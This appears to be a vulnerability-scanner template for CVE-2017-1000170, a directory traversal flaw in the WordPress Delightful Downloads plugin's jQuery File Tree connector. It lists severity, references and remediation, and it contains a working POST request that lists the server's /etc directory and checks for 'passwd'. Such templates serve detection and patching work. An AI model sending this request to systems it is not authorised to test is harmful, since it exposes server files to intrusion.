id: CVE-2017-1000170

info:
  name: WordPress Delightful Downloads Jquery File Tree 2.1.5 - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: WordPress Delightful Downloads Jquery File Tree versions 2.1.5 and older are susceptible to local file inclusion vulnerabilities via jqueryFileTree.
  impact: |
    Allows an attacker to include arbitrary local files, potentially leading to unauthorized access or code execution.
  remediation: |
    Update to the latest version of Delightful Downloads plugin or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/49693
    - https://github.com/jqueryfiletree/jqueryfiletree/issues/66
    - http://packetstormsecurity.com/files/161900/WordPress-Delightful-Downloads-Jquery-File-Tree-1.6.6-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000170
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-1000170
    cwe-id: CWE-22
    epss-score: 0.90044
    epss-percentile: 0.99597
    cpe: cpe:2.3:a:jqueryfiletree_project:jqueryfiletree:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jqueryfiletree_project
    product: jqueryfiletree
  tags: cve2017,cve,wordpress,wp-plugin,lfi,jquery,edb,packetstorm,jqueryfiletree_project,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"

    body: "dir=%2Fetc%2F&onlyFiles=true"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<li class='file ext_passwd'>"
          - "<a rel='/passwd'>passwd</a></li>"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203a87bc624af001896fd4423726c4d584f43a6e16f65aa2699f812765acf9de8d02202e667e48272a32afa707cdc4baf008fbcb6ddf2ab8d5045b392029d6d76d483b:922c64590222798bb761d5b6d8e72950